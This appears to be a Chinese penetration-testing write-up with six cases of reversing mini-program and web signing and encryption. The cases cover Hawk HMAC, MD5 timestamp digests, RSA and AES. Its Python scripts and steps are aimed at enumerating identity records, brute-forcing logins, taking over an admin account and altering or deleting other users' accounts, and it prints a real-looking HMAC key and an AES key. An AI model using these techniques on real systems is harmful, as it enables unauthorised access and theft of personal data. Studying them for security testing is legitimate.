本文通过六个真实的渗透测试案例,深入剖析小程序与 Web 端常见的加密鉴权机制,手把手演示如何通过反编译、动态调试、JS逆向与脚本复现,精准定位加密逻辑、还原签名算法,并最终实现越权访问、信息遍历与账号接管。我们将在云栈社区与大家持续探讨此类实战技术。
案例一:Hawk协议动态签名绕过
在对某小程序进行测试时,发现一个携带 personalid 参数的接口可返回个人信息。起初猜测是一个简单的ID越权漏洞,但重放请求后提示时间戳 ts 无效。修正 ts 后,又提示随机数 nonce 无效。最终修正 nonce 后,提示消息认证码 mac 无效。这初步表明该接口采用了基于 ts 和 nonce 的动态鉴权机制。


可以确定,mac 参数是鉴权的关键。由于是小程序,我们反编译其源码,并全局搜索 mac 相关逻辑。

关键代码如下:
var o = {
ts: a,
nonce: i.nonce || e.utils.randomString(6),
method: n,
resource: r.resource,
host: r.host,
port: r.port,
hash: i.hash,
ext: i.ext,
app: i.app,
dlg: i.dlg
},
c = e.crypto.calculateMac("header", s, o),
h = 'Hawk id="' + s.id + '",ts="' + o.ts + '",nonce="' + o.nonce + '",mac="' + c + '"';
可见 mac 值等于变量 c,它由 ts、nonce、method、resource、host、port 等字段组合后,经 e.crypto.calculateMac 函数加密生成。继续跟进该函数。

加密逻辑清晰:
e.crypto = {
headerVersion: "1",
algorithms: ["sha1", "sha256"],
calculateMac: function(t, r, n) {
var i = e.crypto.generateNormalizedString(t, n);
return s["Hmac" + r.algorithm.toUpperCase()](i, r.key).toString(s.enc.Base64)
}
}
对 calculateMac 函数进行分析:
t:原始数据。
r:包含算法(algorithm)和密钥(key)的对象。
n:即上文的 o 对象(包含 ts, nonce, method 等)。
函数首先调用 e.crypto.generateNormalizedString(t, n) 将输入参数按照 Hawk 协议规范排序拼接,生成唯一的标准化字符串,确保相同内容始终生成相同字符串,防止因顺序不一致导致签名验证失败。
随后,代码 s["Hmac" + r.algorithm.toUpperCase()](i, r.key) 使用标准化字符串 i 和密钥 r.key 进行 HMAC 计算(算法为 SHA-1 或 SHA-256),最后将结果转换为 Base64 编码字符串返回。
至此,只需找到加密所用的 key 即可复现签名。全局搜索 key 结果过多,转而搜索 config,通常在配置文件中。

在配置文件中成功找到了 API 用户名、密码和密钥。编写 Python 脚本验证并复现签名算法:
import base64
import hmac
import hashlib
import time
def generate_normalized_string(header_type, artifacts):
"""生成 Hawk 规范化字符串"""
n = f"hawk.1.{header_type}\n"
n += f"{artifacts['ts']}\n"
n += f"{artifacts['nonce']}\n"
n += f"{artifacts['method'].upper()}\n"
n += f"{artifacts['resource']}\n"
n += f"{artifacts['host'].lower()}\n"
n += f"{artifacts['port']}\n"
n += f"{artifacts['hash']}\n" # 空字符串
# 无 ext 参数
n += "\n"
# 无 app 和 dlg 参数
return n
def calculate_mac(credentials, artifacts):
"""计算 Hawk MAC 值"""
normalized_str = generate_normalized_string("header", artifacts)
print("规范化字符串:")
print("----------------------")
print(normalized_str)
print("----------------------")
key_bytes = credentials["key"].encode("utf-8")
msg_bytes = normalized_str.encode("utf-8")
# 使用 SHA-256
hmac_digest = hmac.new(key_bytes, msg_bytes, hashlib.sha256).digest()
return base64.b64encode(hmac_digest).decode("utf-8")
# 输入参数
credentials = {
"id": "wasx",
"key": "edb8bc95-a000-4ca0-81b8-dd2145050a70F61FB1981510CE5D3988193864A328A3",
"algorithm": "sha256"
}
timestamp = time.time()
timestamps=int(timestamp)
artifacts = {
"ts": timestamps,
"nonce": "6a0d5d576135004ead6cf4795e5b6112", "method": "GET",
"resource": "xxxx/List/QueryByPersonalid?personalid=668223",
"host": "xxxxxxx",
"port": "443",
"hash": ""
}
# 计算并验证 MAC
calculated_mac = calculate_mac(credentials, artifacts)
print(f"计算 MAC: {calculated_mac}")
脚本运行成功,成功复现了签名算法,后续利用该脚本遍历了 7 万余条身份信息。
案例二:MD5时间戳签名校验绕过
在某小程序的预约功能中,发现一个携带 personCode 参数的接口可返回个人信息。尝试遍历该参数时,返回“参数过期”错误,推测是 digest 参数加密导致的鉴权。


同样反编译小程序,定位加密点。

加密逻辑相对简单,核心是 hexMD5 加密。分析代码:
var n = a.domainUrl(o.domain).match(/\/([^\/]+)\/?$/)[1]
这行代码使用正则表达式匹配 URL 域名后的最后一段路径。例如 https://example.com/api 会匹配出 api。
u = o.url.includes("?") ? o.url.split("?")[0] : o.url
这行代码处理 URL,去除查询参数部分。
digest: t.hexMD5("/".concat(n, "/") + u + s).toUpperCase()
这是签名生成的核心:
"/".concat(n, "/"):将匹配到的路径片段用斜杠包裹,例如得到 /api/。
+ u + s:将上一步结果、去除参数的 URL u 以及时间戳 s 拼接。
t.hexMD5(...):对拼接后的整个字符串进行 MD5 哈希计算。
.toUpperCase():将 MD5 结果转为大写。
分析完毕,编写复现脚本:
import re
import hashlib
import time
def calculate_digest(domain, url, timestamp):
# 提取domain的最后路径片段
match = re.search(r'\/([^\/]+)\/?$', domain)
if not match:
raise ValueError("Invalid domain format")
n = match.group(1)
# 去掉URL的查询参数
u = url.split('?', 1)[0]
# 拼接字符串
s = f"/{n}/{u}{timestamp}"
# 计算MD5并转大写
return hashlib.md5(s.encode('utf-8')).hexdigest().upper()
# 示例调用
if __name__ == "__main__":
domain = 'xxxxx'
url = 'xxxxx'
timestamp = int(time.time() * 1000) # 获取毫秒级时间戳
print("Timestamp:", timestamp)
digest = calculate_digest(domain, url, timestamp)
print("digest:", digest)

脚本成功运行,可正常获取数据,从而实现参数遍历。
案例三:Web登录RSA加密爆破
本案例介绍一种快速定位 Web 端加密点的方法:XHR 断点调试。

在开发者工具的“Sources”面板中,找到“XHR/fetch Breakpoints”,添加一个包含特定 URL 片段的断点。

刷新页面,请求会在断点处暂停。此时观察“Call Stack”调用栈和“Scope”作用域,可以逐步向上追踪,定位到加密参数生成的位置。



接下来进入具体案例。在对某 Web 系统进行测试时,查看网页源代码发现默认密码为 111111,且无验证码。攻击思路可定为固定密码爆破用户名。

但抓包发现,提交的 password 字段被加密了。

需要对其进行JS逆向。搜索加密参数,定位到加密函数。


核心代码:
rsa.setPublic(modulus, exponent)
modulus(模数):一个很长的十六进制字符串,表示 RSA 公钥的模数,这是一个1024位的密钥。
exponent(公钥指数):值为 "10001",即十六进制的 65537,是常用的公钥指数。
rsa.setPublic() 方法用这两个值设置公钥。
跟进 RSAEncrypt 函数:

var m = pkcs1pad2(text,(this.n.bitLength()+7)>>3);
pkcs1pad2:根据 PKCS#1 v1.5 标准对明文进行填充,确保长度适合加密。
(this.n.bitLength() + 7) >> 3:计算模数对应的字节长度。
var c = this.doPublic(m);
this.doPublic(m):使用 RSA 公钥对填充后的明文 m 进行加密。
var h = c.toString(16);
if((h.length & 1) == 0) return h; else return "0" + h;
- 将加密结果
c 转换为十六进制字符串 h。
- 检查并确保十六进制字符串长度为偶数。
分析清楚后,编写 Python 脚本复现加密过程:
import base64
from cryptography.hazmat.primitives import serialization, padding
from cryptography.hazmat.primitives.asymmetric import rsa, padding as asymmetric_padding
from cryptography.hazmat.backends import default_backend
# 1. 设置公钥的模数和指数
modulus_hex = "B87A3BE2184FED0973FFB0B02A862DCAD15A1A29172EC8FF67E841FE26749A6AA04E48E9B02D963ED81DCE2B0086C034F7D47CCBACF8539C36B9445ABA5EF484F3CA32593762641B4C9683C79801D087198370D5719BB4E422FADAA4D883D13874DE67D8B6E883EBAACC53A8480F41EE8BE70D2F70BECF3CB7F1023D2C901CC3"
exponent_hex = "10001"
# 将十六进制字符串转换为整数
n = int(modulus_hex, 16)
e = int(exponent_hex, 16)
public_numbers = rsa.RSAPublicNumbers(e, n)
public_key = public_numbers.public_key(default_backend())
# 3. 定义加密函数
def rsa_encrypt(plaintext, public_key):
ciphertext = public_key.encrypt(
plaintext.encode('utf-8'),
asymmetric_padding.PKCS1v15()
)
# 转换为十六进制字符串,并确保长度为偶数
hex_ciphertext = ciphertext.hex()
if len(hex_ciphertext) % 2 != 0:
hex_ciphertext = '0' + hex_ciphertext
return hex_ciphertext
psw = "111111"
# 4. 执行加密
encrypted_psw = rsa_encrypt(psw, public_key)
print(f"待加密的明文: {psw}")
print(f"加密后的密文: {encrypted_psw}")
print(f"密文长度: {len(encrypted_psw)} 字符")
成功生成密文后,即可实施针对用户名的爆破攻击。
案例四:密钥泄露导致RSA加密绕过
在测试过程中,于一个数据包响应体中发现了用于前端加密的 RSA 公钥。

分析前端 JS,发现登录时的 account 参数使用该公钥进行 RSA 加密。
function encrypt(username, privatKey) {
const encrypt = new JSEncrypt();
encrypt.setPublicKey(privatKey);
const encrypted = encrypt.encrypt(username);
if (encrypted) {
return encrypted;
}
由于公钥已泄露,无需逆向加密过程。直接在浏览器控制台调用该 encrypt 函数,即可对任意用户名进行加密。

普通用户登录后,在页面中发现管理员用户名,使用相同方法加密后替换请求中的 account 参数,成功以管理员身份登录。


案例五:小程序动态调试修改注销参数
某小程序提供账号注销功能,请求为 POST 方式,且数据被加密。


需要对其加密逻辑进行逆向。根据请求路由定位到对应的加密函数位置。

JS逆向动态调试的优势在于可以直接在运行时修改变量值。在调试过程中,找到用于标识用户的关键参数(如加密数据中包含的手机号),直接修改为其它的值,小程序会自动生成新的合法密文。

将修改后生成的密文替换原请求数据,即可实现非本账号的注销或其他越权操作。这种手法在前端与移动端安全测试中非常有效。
案例六:AES加密用户信息越权修改
某小程序存在保存用户信息的功能,抓包发现请求数据被加密,响应中返回一个 yhgrid 参数。


对小程序相关 JS 进行断点调试。分析修改用户地址信息的接口,发现其加密方式为 AES-CBC,填充模式为 Zeros,密钥和偏移量均为 UKU0m5xBbOa/Lz==。密文经过 Base64 编码,其中的用户地址信息部分还额外进行了 URL 编码。


掌握加密算法和密钥后,即可解密原始数据包。将解密数据中的 yhgrid(用户ID)修改为其他用户的 ID,然后重新加密并发送请求。


再次查看用户信息,确认被成功修改,实现了越权修改他人信息的漏洞利用。

总结
通过对六个典型场景的拆解,我们不难发现:“加密不等于安全”。无论是 Hawk 协议中的动态签名、MD5 时间戳校验,还是 RSA/AES 等标准加密算法,其安全性高度依赖于密钥管理、参数时效性与实现细节。一旦密钥泄露、nonce 可预测、ts 未严格校验,或加密逻辑被完整逆向,整个鉴权体系将形同虚设。
安全开发应在设计之初就充分考虑密钥的安全存储、使用具备时效性的随机数、对签名算法进行服务端严格校验,并避免将关键密钥或算法逻辑暴露于客户端。对于安全测试者而言,掌握反编译、动态调试、JS逆向与脚本编写能力,是深入理解并突破此类加密鉴权机制的关键。